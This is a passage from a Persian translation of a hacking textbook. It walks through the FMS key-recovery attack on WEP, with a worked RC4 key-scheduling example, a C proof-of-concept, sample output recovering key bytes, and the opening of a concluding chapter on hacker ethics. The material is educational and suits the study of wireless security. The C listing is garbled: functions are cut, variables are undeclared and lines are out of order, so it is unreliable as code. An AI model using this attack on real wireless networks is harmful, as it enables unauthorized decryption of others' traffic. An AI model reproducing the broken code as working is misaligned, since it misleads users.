ﺣﻤﻠﻪ ﻓﻼرر ،ﻣﺎﻧﺘﯿﻦ و ﺷﻤﯿﺮ ﯾﺎ 125 FMSﭘﺮ اﺳﺘﻔﺎده ﺗﺮﯾﻦ ﺣﻤﻠﻪ ﻋﻠﯿﻪ WEPاﺳﺖ ﮐﻪ ﺑﺎ اﺑﺰاری ﻣﺜﻞ AirSnortﻣﺸﻬﻮر
ﺷﺪ .اﯾﻦ ﺣﻤﻠـﻪ ﺳﺮاﺳـﺮ ﺷـﮕﻔﺘﯽ اﺳـﺖ و از ﺿـﻌﻔﻪ ﻫـﺎی ﻣﻮﺟـﻮد در اﻟﮕـﻮرﯾﺘﻢ زﻣـﺎن ﺑﻨـﺪی ﮐﻠﯿـﺪ در RC4و ﮐـﺎرﺑﺮد
ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﻧﻔﻊ ﻣﯽ ﺑﺮد.
ﻣﻘﺎدﯾﺮ ﺑﺮدار اوﻟﯿﻪ ﺿﻌﯿﻔﯽ وﺟﻮد دارﻧﺪ ﮐﻪ اﻃﻼﻋﺎﺗﯽ راﺟﻊ ﺑﻪ ﮐﻠﯿﺪ ﻣﺤﺮﻣﺎﻧﻪ در اوﻟﯿﻦ ﺑﺎﯾـﺖ از ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ ﻓـﺎش ﻣـﯽ
ﺳﺎزﻧﺪ .ﭼﻮن ﮐﻠﯿﺪ ﯾﮑﺴﺎﻧﯽ ﺑﺎ ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﻣﺘﻔﺎوﺗﯽ ﻣﮑﺮرا اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ،اﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ﮐﺎﻓﯽ ﺑـﺎ ﺑﺮدارﻫـﺎی اوﻟﯿـﻪ
ﺿﻌﯿﻒ ﺟﻤﻊ آوری ﺷﻮﻧﺪ و اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه ﺑﺎﺷﺪ ،اﻣﮑﺎن ﺗﻌﯿﻦ ﻧﻤﻮدن ﮐﻠﯿﺪ وﺟﻮد دارد.
125
)Fluhrer, Mantis, Shamir (FMS
185
ﺧﻮﺷﺒﺨﺘﺎﻧﻪ اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺑﺴﺘﻪ ،802.11bﻫﺪر snapاﺳﺖ ﮐﻪ ﺗﻘﺮﯾﺒﺎ ﻫﻤﯿـﺸﻪ ﺑﺮاﺑـﺮ 0xAAﻣـﯽ ﺑﺎﺷـﺪ؛ ﯾﻌﻨـﯽ اوﻟـﯿﻦ
ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ را ﻣﯽ ﺗﻮان ﺑﺮاﺣﺘﯽ ﺑﺎ XORﮐﺮدن اوﻟﯿﻦ ﺑﺎﯾﺖ رﻣﺰﺷﺪه ﺑﺎ 0xAAﺑﺪﺳﺖ آورد.
ﺳﭙﺲ ﺑﺮدارﻫﺎی اوﻟﯿﻪ را ﺑﺎﯾﺪ ﺗﻌﯿﯿﻦ ﻣﺤﻞ ﮐﺮد .ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺑﺮای WEPﻃﻮﻟﯽ ﺑﺮاﺑﺮ ﺑﺎ 24ﺑﯿﺖ ﯾـﺎ 3ﺑﺎﯾـﺖ دارﻧـﺪ.
ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺿﻌﯿﻒ ﺑﻪ ﻓﺮم ) (A+3, N−1, Xﻫﺴﺘﻨﺪ ﮐﻪ در آن ،Aﺑﺎﯾﺘﯽ از ﮐﻠﯿﺪ اﺳﺖ ﮐﻪ ﺑﺎﯾﺪ ﺑﻪ آن ﺣﻤﻠﻪ ﺷﻮدN ،
ﺑﺮاﺑﺮ ﺑﺎ 256اﺳﺖ )ﭼﻮن RC4در ﭘﯿﻤﺎﻧﻪ 256ﮐﺎر ﻣﯽ ﮐﻨﺪ( X ،ﻧﯿﺰ ﻣﯽ ﺗﻮاﻧﺪ ﻫﺮ ﻣﻘﺪاری را اﺧﺘﯿﺎر ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت
اﮔﺮ ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾﺖ ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﻣﻮرد ﺣﻤﻠﻪ ﻗﺮار ﮔﯿﺮد ،ﺗﻌﺪاد 256ﺑﺮدار اوﻟﯿـﻪ ﺿـﻌﯿﻒ ﺑـﻪ ﻓـﺮم ) (3, 255, Xوﺟـﻮد
دارﻧﺪ ﮐﻪ در آن Xاز 0ﺗﺎ 255ﻣﺘﻐﯿﺮ اﺳﺖ .ﺑﺎﯾﺖ ﻫﺎی ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺎﯾﺪ ﺑﻪ ﺗﺮﺗﯿـﺐ ﻣـﻮرد ﺣﻤﻠـﻪ ﻗـﺮار ﮔﯿﺮﻧـﺪ ،ﻟـﺬا ﺗـﺎ
زﻣﺎﻧﯽ ﮐﻪ ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾﺖ ﻣﻮرد ﺣﻤﻠﻪ ﻗﺮار ﻧﮕﯿﺮد ﻧﻤﯽ ﺗﻮان ﺑﻪ اوﻟﯿﻦ ﺑﺎﯾﺖ ﺣﻤﻠﻪ ﮐﺮد.
ﺧﻮد اﻟﮕﻮرﯾﺘﻢ ﺗﻘﺮﯾﺒﺎ ﺳﺎده اﺳﺖ .اﺑﺘﺪا ﮔﺎم ﻫﺎی A+3را از اﻟﮕﻮرﯾﺘﻢ زﻣﺎن ﺑﻨﺪی ﮐﻠﯿﺪ ) (KSAﻃﯽ ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﮐـﺎر را
ﻣﯽ ﺗﻮان ﺑﺪون داﻧﺴﺘﻦ ﮐﻠﯿﺪ اﻧﺠﺎم داد ،ﭼﺮا ﮐﻪ ﺑﺮدار اوﻟﯿﻪ ﺳﻪ ﺑﺎﯾﺖ ﻧﺨﺴﺖ از آراﯾﻪ Kرا اﺷﻐﺎل ﻣﯽ ﮐﻨﺪ .اﮔﺮ ﺻﻔﺮﻣﯿﻦ
ﺑﺎﯾﺖ از ﮐﻠﯿﺪ ﺷﻨﺎﺧﺘﻪ ﺷﺪه و Aﺑﺮاﺑﺮ 1ﺑﺎﺷﺪ ،آﻧﮕﺎه ﭼﻬﺎر ﺑﺎﯾﺖ ﻧﺨﺴﺖ از آراﯾﻪ Kﺷﻨﺎﺧﺘﻪ ﺧﻮاﻫﺪ ﺷﺪ ،ﺑﻪ اﯾـﻦ ﺻـﻮرت
روﻧﺪ اﺟﺮاﯾﯽ KSAﺑﻪ ﮔﺎم ﭼﻬﺎرم ﻣﯽ رود.
در اﯾﻦ ﺟﺎ اﮔﺮ ] S[0و ] S[1ﺑﻮاﺳﻄﻪ آﺧﺮﯾﻦ ﮔﺎم ﻣﺨﺘﻞ ﺷﻮﻧﺪ )ﻣﻘﺎدﯾﺮ دﯾﮕﺮی ﺑﮕﯿﺮﻧﺪ( ،ﺑﺎﯾﺪ ﻋﻤﻠﯿﺎت را ﻣﺘﻮﻗـﻒ ﮐـﺮد و
ﻣﺠﺪدا از اﺑﺘﺪا اﻧﺠﺎم داد .ﺑﺮای ﺗﻮﺿﯿﺢ ﺑﯿﺸﺘﺮ اﮔﺮ jﮐﻮﭼﮑﺘﺮ از 2ﺑﺎﺷﺪ ،ﺑﺎﯾﺪ از ﭘﯿﺸﺒﺮد ﻋﻤﻠﯿﺎت دﺳﺖ ﮐﺸﯿﺪ .ﻣﮕﺮاﯾﻨﮑﻪ
ﻣﻘﺎدﯾﺮ jو ] S[A + 3را ﮔﺮﻓﺘﻪ و ﻫﺮ دوی آﻧﻬﺎ را در ﭘﯿﻤﺎﻧﻪ ،256از اوﻟﯿﻦ ﺑﺎﯾﺖ ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ ﺗﻔﺮﯾـﻖ ﮐـﺮد .در %5از
اوﻗﺎت اﯾﻦ ﻣﻘﺪار ﺑﺎﯾﺖِ ﺻﺤﯿﺢ از ﮐﻠﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد .اﮔﺮ اﯾﻦ ﻋﻤﻞ ﺑﺎ ﺗﻌـﺪاد ﻣﻨﺎﺳـﺐ و ﮐـﺎﻓﯽ از ﺑﺮدارﻫـﺎی اوﻟﯿـﻪ ﺿـﻌﯿﻒ
اﻧﺠﺎم ﺷﻮد )ﺑﺎ ﻋﻮض ﮐﺮدن ﻣﻘﺪار ،(Xآﻧﮕﺎه ﻣﯽ ﺗﻮان ﺑﺎﯾﺖ ﺻﺤﯿﺢ ﮐﻠﯿﺪ را ﺗﻌﯿﯿﻦ ﮐـﺮد .ﺑـﺮای رﺷـﺪ اﺣﺘﻤـﺎل ﺑـﻪ ﺑـﺎﻻی
%50ﺣﺪودا ﺷﺼﺖ ﺑﺮدار اوﻟﯿﻪ ﺿﻌﯿﻒ ﻧﯿﺎز اﺳﺖ .ﺑﻌﺪ از ﺗﻌﯿﯿﻦ ﯾﮏ ﺑﺎﯾﺖ از ﮐﻠﯿﺪ ،ﻣﯽ ﺗـﻮان ﮐـﻞ ﻓﺮآﯾﻨـﺪ را ﺑـﻪ ﻣﻨﻈـﻮر
ﺟﻬﺖ ﺗﻌﯿﯿﻦ ﺑﺎﯾﺖ ﺑﻌﺪی از ﮐﻠﯿﺪ و ﺗﺎ ﺗﻌﯿﯿﻦ ﮐﻞ ﮐﻠﯿﺪ ﺗﮑﺮار ﮐﺮد.
ﺑﺮای اﺛﺒﺎت RC4ﻃﻮری ﻣﻘﯿﺎس ﮔﺬاری ﻣﯽ ﺷﻮد ﮐﻪ Nﺑﺠﺎی 256ﺑﺮاﺑﺮ 16ﺷـﻮد .ﯾﻌﻨـﯽ زﯾـﻦ ﭘـﺲ ﺑـﻪ ﺟـﺎی ﭘﯿﻤﺎﻧـﻪ
،256ﻫﻤﻪ ﭼﯿﺰ ﺑﻪ ﭘﯿﻤﺎﻧﻪ 16اﻧﺠﺎم ﻣﯽ ﺷﻮد و ﺗﻤﺎم آراﯾﻪ ﻫـﺎ ﺑـﻪ ﺟـﺎی 256ﺑﺎﯾـﺖ 16 ،ﺑـﺎﯾﺘﯽ )و ﻣـﺸﻤﻮل 4ﺑﯿﺘـﯽ ﻫـﺎ(
ﻫﺴﺘﻨﺪ.
ﻓﺮض ﻣﯽ ﮐﻨﯿﻢ ﮐﻪ ﮐﻠﯿﺪ ﺑﺮاﺑﺮ ) (1, 2, 3, 4, 5و ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾـﺖ ﻣـﻮرد ﺣﻤﻠـﻪ )ﯾﻌﻨـﯽ (Aﺑﺮاﺑـﺮ ﺑـﺎ ﺻـﻔﺮ اﺳـﺖ .ﯾﻌﻨـﯽ
ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺿﻌﯿﻒ ﺑﺎﯾﺪ ﺑﻪ ﻓﺮم ) (3, 15, Xﺑﺎﺷﻨﺪ .در اﯾﻦ ﻣﺜﺎل Xﺑﺮاﺑﺮ 2ﺧﻮاﻫﺪ ﺑﻮد ،ﻟﺬا ﻣﻘﺪار ﺑﻨﯿﺎدی ﺑﻪ ﻓﺮم (3,
) 15, 2, 1, 2, 3, 4, 5ﺧﻮاﻫﺪ ﺑﻮد .ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ ﻣﻘﺪار ﺑﻨﯿﺎدی ،ﺧﺮوﺟﯽ اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺮاﺑﺮ 9ﺧﻮاﻫﺪ
ﺑﻮد.
9 ﺧﺮوﺟﯽ )(Output
) 0ﺻﻔﺮ( A
2 ،15 ،3 ﺑﺮدار اوﻟﯿﻪ )(IV
5 ،4 ،3 ،2 ،1 ﮐﻠﯿﺪ
اﻟﺤﺎق ﺑﺮدار اوﻟﯿﻪ ﺑﻪ ﮐﻠﯿﺪ ﻣﻘﺪار ﺑﻨﯿﺎدی )(seed
K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ﭼﻮن ﮐﻠﯿﺪ در ﺣﺎل ﺣﺎﺿﺮ ﻧﺎﺷﻨﺎﺧﺘﻪ اﺳﺖ ،آراﯾﻪ Kﺑﺎ ﻣﻘﺎدﯾﺮِ ﺷﻨﺎﺧﺘﻪ ﺷﺪه و آراﯾﻪ Sﺑـﺎ ﻣﻘـﺎدﯾﺮ ﻣﺘـﻮاﻟﯽ از 0ﺗـﺎ 15ﭘـﺮ
ﺷﺪه اﻧﺪ .ﺳﭙﺲ jﺑﺎ ﺻﻔﺮ ﻣﻘﺪاردﻫﯽ اوﻟﯿﻪ ﻣﯽ ﺷﻮد و ﺳﻪ ﮔﺎم ﻧﺨﺴﺖ از KSAاﺟﺮا ﻣﯽ ﺷﻮﻧﺪ .ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐـﻪ
ﺗﻤﺎم ﻣﺤﺎﺳﺒﺎت رﯾﺎﺿﯽ در ﭘﯿﻤﺎﻧﻪ 16اﻧﺠﺎم ﻣﯽ ﺷﻮد.
ﻣﺮﺣﻠﻪ اول :KSA
186
i = 0
]j = j + S[i] + K[i
j = 0 + 0 + 3 = 3
]Swap S[i] and S[j
K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 3 1 2 0 4 5 6 7 8 9 10 11 12 13 14 15
ﻣﺮﺣﻠﻪ دوم :KSA
i = 1
]j = j + S[i] + K[i
j = 3 + 1 + 15 = 3
]Swap S[i] and S[j
K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 3 0 2 1 4 5 6 7 8 9 10 11 12 13 14 15
ﻣﺮﺣﻠﻪ ﺳﻮم : KSA
i = 2
]j = j + S[i] + K[i
j = 3 + 2 + 2 = 7
]Swap S[i] and S[j
K[] = 3 15 2 X X X X X 3 15 2 X X X X X
S[] = 3 0 7 1 4 5 6 2 8 9 10 11 12 13 14 15
در اﯾﻦ ﻟﺤﻈﻪ ،ﻣﻘﺪار jﮐﻤﺘﺮ از 2ﻧﯿﺴﺖ ،ﭘﺲ ﻓﺮآﯾﻨﺪ ﻣﯽ ﺗﻮاﻧﺪ اداﻣﻪ ﯾﺎﺑﺪ .ﻣﻘـﺪار ] S[3ﺑﺮاﺑـﺮ 1و jﺑﺮاﺑـﺮ ﺑـﺎ 7اﺳـﺖ و
ﺧﺮوﺟﯽ اوﻟﯿﻦ ﺑﺎﯾﺖ از ﺟﺮﯾﺎن ﮐﻠﯿﺪ ﺑﺮاﺑﺮ ﺑﺎ 9ﺑﻮد .ﻟﺬا ﻣﻘﺪار ﺻﻔﺮﻣﯿﻦ ﺑﺎﯾﺖ از ﮐﻠﯿﺪ ﺑﺎﯾﺴﺘﯽ 9 − 7 − 1 − 1ﺑﺎﺷﺪ.
ﺑﺎ اﺳﺘﻔﺎده از ﺑﺮدارﻫﺎی اوﻟﯿﻪ ﺑﻪ ﻓﺮم ) (4, 15, Xو ﭘﯿﺸﺒﺮد ﮔﺎم ﻫﺎی ﮐﺎری KSAﺑﻪ ﮔﺎم ﭼﻬﺎرم ،ﻣﯽ ﺗﻮان اﯾﻦ اﻃﻼﻋـﺎت
را ﺟﻬﺖ ﺗﻌﯿﯿﻦ ﺑﺎﯾﺖ ﺑﻌﺪی از ﮐﻠﯿﺪ ﺑﮑﺎر ﺑﺮد .ﺑﺎ ﺗﻮﺟﻪ ﺑﻪ ﺑﺮدار اوﻟﯿﻪ ﺑﻪ ﻓـﺮم ) ،(4, 15, 9اوﻟـﯿﻦ ﺑﺎﯾـﺖ از ﺟﺮﯾـﺎن ﮐﻠﯿـﺪ
ﺑﺮاﺑﺮ ﺑﺎ 6ﻣﯽ ﺷﻮد.
6 ﺧﺮوﺟﯽ )(Output
) 0ﺻﻔﺮ( A
9 ،15 ،4 ﺑﺮدار اوﻟﯿﻪ )(IV
5 ،4 ،3 ،2 ،1 ﮐﻠﯿﺪ
اﻟﺤﺎق ﺑﺮدار اوﻟﯿﻪ ﺑﻪ ﮐﻠﯿﺪ ﻣﻘﺪار ﺑﻨﯿﺎدی )(Seed
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ﻣﺮﺣﻠﻪ اول :KSA
i = 0
]j = j + S[i] + K[i
j = 0 + 0 + 4 = 4
]Swap S[i] and S[j
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 1 2 3 0 5 6 7 8 9 10 11 12 13 14 15
ﻣﺮﺣﻠﻪ دوم :KSA
i = 1
]j = j + S[i] + K[i
j = 4 + 1 + 15 = 4
]Swap S[i] and S[j
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 2 3 1 5 6 7 8 9 10 11 12 13 14 15
ﻣﺮﺣﻠﻪ ﺳﻮم :KSA
i = 2
187
j = j + S[i] + K[i]
j = 4 + 2 + 9 = 15
Swap S[i] and S[j]
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
:KSA ﻣﺮﺣﻠﻪ ﭼﻬﺎرم
i = 3
j = j + S[i] + K[i]
j = 15+ 3 + 1 = 3
Swap S[i] and S[j]
K[] = 4 15 9 1 X X X X 4 15 9 1 X X X X
S[] = 4 0 15 3 1 5 6 7 8 9 10 11 12 13 14 2
#include <stdio.h>
//seed = IV + key;
for(k=0; k<3; k++)
seed[k] = IV[k];
for(k=0; k<13; k++)
seed[k+3] = key[k];
j=0;
for(i=0; i < 256; i++)
{
j = (j + S[i] + K[i])%256;
t=S[i]; S[i]=S[j]; S[j]=t; // Swap(S[i], S[j]);
}
i = 0;
j = 0;
i = i + 1;
j = j + S[i];
k = (S[i] + S[j])%256;
188
return S[k];
}
main(int argc, char *argv[])
{
int K[256];
int S[256];
int IV[3];
int key[13] = {1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213};
int seed[16];
int N = 256;
int i, j, k, t, x, A;
int keystream, keybyte;
if(argc < 2)
{
printf("Usage: %s <keybyte to attack>\n", argv[0]);
exit(0);
}
A = atoi(argv[1]);
if((A > 12) || (A < 0))
{
printf("keybyte must be from 0 to 12.\n");
exit(0);
}
IV[0] = A + 3;
IV[1] = N - 1;
//seed = IV + key;
for(k=0; k<3; k++)
seed[k] = IV[k];
for(k=0; k<13; k++)
seed[k+3] = key[k];
j=0;
for(i=0; i < (A + 3); i++)
{
j = (j + S[i] + K[i])%256;
t = S[i];
189
S[i] = S[j];
S[j] = t;
}
while(keybyte < 0)
keybyte = keybyte + 256;
printf("key[%d] prediction = %d - %d - %d = %d\n",
A, keystream, known_j, known_S, keybyte);
results[keybyte] = results[keybyte] + 1;
}
}
max_result = -1;
max_count = 0;
190
key[0] prediction = 7 - 5 - 1 = 1
Using IV: (3, 255, 1), first keystream byte is 211
Doing the first 3 steps of KSA.. at KSA iteration #3, j=6 and S[3]=1
key[0] prediction = 211 - 6 - 1 = 204
Using IV: (3, 255, 2), first keystream byte is 241
Doing the first 3 steps of KSA.. at KSA iteration #3, j=7 and S[3]=1
key[0] prediction = 241 - 7 - 1 = 233
[ output trimmed ]
[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[0] is probably 1
$
$ ./fms 12
Using IV: (15, 255, 0), first keystream byte is 81
Doing the first 15 steps of KSA.. at KSA iteration #15, j=251 and S[15]=1
key[12] prediction = 81 - 251 - 1 = 85
Using IV: (15, 255, 1), first keystream byte is 80
Doing the first 15 steps of KSA.. at KSA iteration #15, j=252 and S[15]=1
key[12] prediction = 80 - 252 - 1 = 83
191
Using IV: (15, 255, 2), first keystream byte is 159
Doing the first 15 steps of KSA.. at KSA iteration #15, j=253 and S[15]=1
key[12] prediction = 159 - 253 - 1 = 161
[ output trimmed ]
[Actual Key] = (1, 2, 3, 4, 5, 66, 75, 123, 99, 100, 123, 43, 213)
key[12] is probably 213
$
اﯾﻦ ﻧﻮع ﺣﻤﻼت آﻧﻘﺪر ﻣﻮﻓﻘﯿﺖ آﻣﯿﺰ ﺑﻮده اﻧﺪ ﮐﻪ ﺑﺮﺧﯽ ﻓﺮوﺷﻨﺪﮔﺎن ﺷﺮوع ﺑﻪ ﺗﻮﻟﯿﺪ ﺳـﺨﺖ اﻓـﺰاری ﮐـﺮده اﻧـﺪ ﮐـﻪ از
ﯾﮏ راه ﺣﻞ اﯾﻦ ﭼﻨﯿﻨﯽ ﺗﻨﻬﺎ ﻣـﻮﻗﻌﯽ ﮐـﺎرﮐﺮد ﺧﻮاﻫـﺪ داﺷـﺖ ﮐـﻪ ﺗﻤـﺎم.اﺳﺘﻔﺎده از ﺑﺮدارﻫﺎی ﺿﻌﯿﻒ اﺟﺘﻨﺎب ﻣﯽ ورزد
. دﺳﺘﮑﺎری ﺷﺪه اﺳﺘﻔﺎده ﮐﻨﻨﺪ126ِﺗﺠﻬﯿﺰات ﺳﺨﺖ اﻓﺰاری ﺑﯽ ﺳﯿﻢ در ﺷﺒﮑﻪ از ﻫﻤﺎن ﻟَﺨﺖ اﻓﺰار
126
firmware
192
ﻓﺼﻞ :5اﺳﺘﻨﺘﺎج
ﻇﺎﻫﺮا دﻧﯿﺎی اﻣﻨﯿﺖ ﮐﺎﻣﭙﯿﻮﺗﺮﻣﻮﺿﻮع ﻏﯿﺮﻗﺎﺑﻞ درﮐﯽ ﺑﺮای ﻋﻤﻮم اﺳﺖ و رﺳﺎﻧﻪ ﻫﺎی ﺟﻤﻌﯽ ﻧﯿﺰ ﻋﻼﻗـﻪ زﯾـﺎدی ﺑـﻪ داﻣـﻦ
زدن اﺣﺴﺎﺳﺎت در اﯾﻦ زﻣﯿﻨﻪ دارﻧﺪ .ﺗﻐﯿﯿﺮات درﮐﻠﻤﺎت ﻓﻨﯽ ﯾﺎ ﺗﺮﻣﯿﻨﻮﻟﻮژی ﺑﯽ اﺛﺮﻧﺪ -آﻧﭽﻪ اﺳﺎﺳﺎ ﻧﯿﺎز اﺳﺖ ﺗﻐﯿﯿـﺮ در
ﻃﺮز ﻓﮑﺮ اﺳﺖ! ﻫﮑﺮﻫﺎ ﺗﻨﻬﺎ اﻓﺮادی ﺑﺎ روﺣﯿﻪ ﻧﻮآوری و داﻧﺸﯽ ﻋﻤﯿﻖ از ﻓﻨﺎوری ﻫﺴﺘﻨﺪ .ﻫﮑﺮﻫﺎ ﻟﺰوﻣﺎ ﺟﻨﺎﯾﺘﮑﺎر ﻧﯿﺴﺘﻨﺪ،
اﻣﺎ ﻣﻤﮑﻦ اﺳﺖ ﺟﻨﺎﯾﺎﺗﯽ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ﮐﻪ ﻫﮑﺮﻫﺎ اﻧﺠﺎم داده ﺑﺎﺷﻨﺪ .داﻧﺶ ﻫﮑﺮ ﺑﻪ ﺧﻮدی ﺧـﻮد ﻣـﺸﮑﻞ ﭼﻨـﺪاﻧﯽ در
ﺑﺮ ﻧﺪارد و ﻣﻮﺿﻮع ﺑﺮ ﺳﺮ ﮐﺎرﺑﺮد اﯾﻦ داﻧﺶ اﺳﺖ .ﭼﻪ دوﺳﺖ داﺷﺘﻪ ﺑﺎﺷﯿﻢ و ﭼﻪ ﻧﺪاﺷﺘﻪ ﺑﺎﺷﯿﻢ ،در ﻧﺮم اﻓﺰارﻫﺎ و ﺷﺒﮑﻪ
ﻫﺎﯾﯽ ﮐﻪ دﻧﯿﺎی اﻣﺮوزه واﺑﺴﺘﮕﯽ ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮی ﺑﻪ آﻧﻬﺎ ﭘﯿﺪا ﻣﯽ ﮐﻨﺪ ،آﺳﯿﺐ ﭘﺬﯾﺮی وﺟﻮد دارد .اﯾﻦ ﯾﮏ ﻧﺘﯿﺠﻪ اﺟﺘﻨﺎب
ﻧﺎﭘﺬﯾﺮ از ﺗﻮﺳﻌﻪ ﻧﺮم اﻓﺰاری ﻣﻨﻔﻌﺖ-ﮔﺮا اﺳﺖ .ﻣﺎداﻣﯽ ﮐﻪ ﭘـﻮل ﺑـﺎ ﻓﻨـﺎوری در ارﺗﺒـﺎط ﺑﺎﺷـﺪ ،آﺳـﯿﺐ ﭘـﺬﯾﺮی در ﻧـﺮم
اﻓﺰارﻫﺎ و ﺗﻬﺪﯾﺪ در ﺷﺒﮑﻪ ﻫﺎ وﺟﻮد ﺧﻮاﻫﻨﺪ داﺷﺖ ﮐﻪ ﻣﻌﻤﻮﻻ ﺗﺮﮐﯿﺐ ﻧﺎﻣﻨﺎﺳﺒﯽ اﺳﺖ ،اﻣﺎ اﻓﺮادی ﮐﻪ آﺳﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎ
را در ﻧﺮم اﻓﺰار ﭘﯿﺪا ﻣﯽ ﮐﻨﻨﺪ ﺗﻨﻬﺎ ﺑﺪﻧﺒﺎل ﻣﻨﻔﻌﺖ ﯾﺎ ﺟﻨﺎﯾﺎت ﻧﯿﺴﺘﻨﺪ .اﯾﻦ اﻓﺮاد ﻫﮑﺮﻫﺎ ﻫﺴﺘﻨﺪ ﮐـﻪ ﻫـﺮ ﮐـﺪام اﻧﮕﯿـﺰه ای
ﺧﺎصِ ﺧﻮد دارﻧﺪ؛ ﺑﻌﻀﯽ ﺑﻪ ﻋﻠﺖ ﺣﺲ ﮐﻨﺠﮑﺎوی و ﭼﻨﺪی دﯾﮕﺮ ﺑﻪ ﺧﺎﻃﺮ ﻣﻮﻗﻌﯿﺖ ﮐﺎری و ﺑﺮﺧﯽ ﺑﻪ دﻟﯿﻞ ﭼﺎﻟﺶ ﻓـﺮدی
ﺑﻪ اﯾﻦ ﮐﺎر ﻣﺒﺎدرت ﻣﯽ ورزﻧﺪ :و در ﮐﻨﺎر آن ،اﻓﺮادی ﻫﻢ از ﻃﺮﯾﻖ ﻫﮏ ﺑﻪ دﻧﺒﺎل ﺟﻨﺎﯾـﺖ ﻣـﯽ روﻧـﺪ .ﻋﻤـﺪه ی ﻫﮑﺮﻫـﺎ،
اﻫﺪاف ﺑﺪﺧﻮاﻫﺎﻧﻪ ﻧﺪاﺷﺘﻪ و در ﻋﻮض ﺑﻪ ﻓﺮوﺷﻨﺪﮔﺎن ﻧﺮم اﻓﺰاری در رﻓﻊ ﻣﺸﮑﻼت ﺑﺮﻧﺎﻣﻪ ﻫﺎی آﺳﯿﺐ ﭘﺬﯾﺮﺷﺎن ﮐﻤـﮏ
ﻣﯽ ﮐﻨﻨﺪ .ﺑﺪون ﻫﮑﺮﻫﺎ ،آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ و ﺣﻔﺮه ﻫﺎی اﻣﻨﯿﺘﯽ در ﻧﺮم اﻓﺰار ﮐﺸﻒ ﻧﺸﺪه ﺑﺎﻗﯽ ﺧﻮاﻫﺪ ﻣﺎﻧﺪ.
ﺑﻌﻀﺎ اﺳﺘﺪﻻل ﻣﯽ ﺷﻮد ﮐﻪ اﮔﺮ ﻫﯿﭻ ﻫﮑﺮی وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ ،ﻫﯿﭻ دﻟﯿﻠﯽ ﺑﺮای رﻓﻊ اﯾﻦ آﺳـﯿﺐ ﭘـﺬﯾﺮی ﻫـﺎی ﮐـﺸﻒ
ﻧﺸﺪه وﺟﻮد ﻧﺪارد .اﯾﻦ ﯾﮏ دور ﻧﻤﺎ اﺳﺖ ،اﻣﺎ ﺷﺨﺼﺎ ﺳﻌﯽ ﺑﺮ ﻏﻠﺒﻪ ﺑﺮ رﮐﻮد و ﺧﻤـﻮدﮔﯽ دارم .ﻫﮑﺮﻫـﺎ ﻧﻘـﺶ ﻣﻬﻤـﯽ در
ﺗﮑﺎﻣﻞ ﻓﻨﺎوری دارﻧﺪ .ﺑﺪون ﻫﮑﺮﻫﺎ ،دﻟﯿﻠﯽ ﺑﺮای ﭘﯿﺸﺮﻓﺖ در راﺳﺘﺎی اﻣﻨﯿﺖ ﮐﺎﻣﭙﯿﻮﺗﺮﻫﺎ وﺟﻮد ﻧﺪارد .در ﺿﻤﻦ ،ﻣـﺎداﻣﯽ
ﮐﻪ ﺳﻮاﻻﺗﯽ ﭼﻮن "ﭼﺮا؟" و "ﭼﻄﻮر ﻣﯿﺸﺪ اﮔﺮ؟" ﭘﺮﺳﯿﺪه ﺷﻮﻧﺪ ،ﻫﮑﺮﻫﺎ ﻫﻤﯿﺸﻪ ﺣـﻀﻮر ﺧﻮاﻫﻨـﺪ داﺷـﺖ .دﻧﯿـﺎی ﺑـﺪون
ﻫﮑﺮﻫﺎ ﺑﻤﺎﻧﻨﺪ دﻧﯿﺎﯾﯽ ﺑﺪون ﮐﻨﺠﮑﺎوی و ﻧﻮآوری اﺳﺖ.
اﻣﯿﺪوارم اﯾﻦ ﮐﺘﺎب روح ﻫﮑﯿﻨﮓ و ﭼﻨﺪ ﺗﮑﻨﯿﮏ ﻣﻬﻢ در آﻧﺮا ﻧﻤﺎﯾـﺎن ﺳـﺎﺧﺘﻪ ﺑﺎﺷـﺪ .ﻓﻨـﺎوری ﻫﻤﯿـﺸﻪ در ﺣـﺎل ﺗﻐﯿﯿـﺮ و
